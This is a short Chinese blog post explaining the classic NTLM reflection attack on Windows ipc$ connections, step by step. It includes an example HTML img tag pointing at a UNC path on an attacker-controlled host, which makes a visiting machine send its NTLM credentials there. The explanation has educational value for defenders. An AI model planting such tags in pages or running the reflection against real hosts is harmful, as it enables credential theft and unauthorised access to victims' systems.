老生长谈之NTLM反向攻击

老生长谈之NTLM反向攻击
by cocoruder
这个似乎火过一段时间，在读书时就看到有很多文章谈这样的攻击。考虑下面的模型
A（192.168.0.1，被攻击者）访问B（192.168.0.2，攻击者）某个页面，这个页面的内容可能是
< img src ="//192.168.0.2/c$/a.bmp" >

1.在A一连接B时，B当然已获得A的IP（192.168.0.1），B立即请求对A的ipc$连接，A返回挑战值（Challenge）。
2.接下来A请求B的ipc$连接，B返回步骤1从A获得的Challenge给A。
3.A收到Challenge，会尝试用当前登陆的用户名/密码进行登陆，发送RomKey和NTLMResponse给B作验证。
4.B把从A收到的RomKey和NTLMResponse给返回A，完成B对A的ipc$连接请求。
也就是说，在A对B的连接尝试完成的同时会完成B对A的连接，并且B对A的连接会验证成功，完成反向攻击。
似乎是too old的东西，但是今天一看，偶的XP在访问//ip/a.bmp的时候还是会把自己的用户名/密码当作默认去NTLM认证，不明白MS到今天还没修复这样的隐患，似乎要修复也不是很难吧（禁止网页用"//"定位资源）。
值得注意的是，并不是本地关了ipc$共享就没事，windows还有很多非匿名的rpc接口，当然也会有非匿名的rpc接口的漏洞。既然匿名rpc的漏洞可以这么火，因此这样的安全隐患也是没道理忽视的。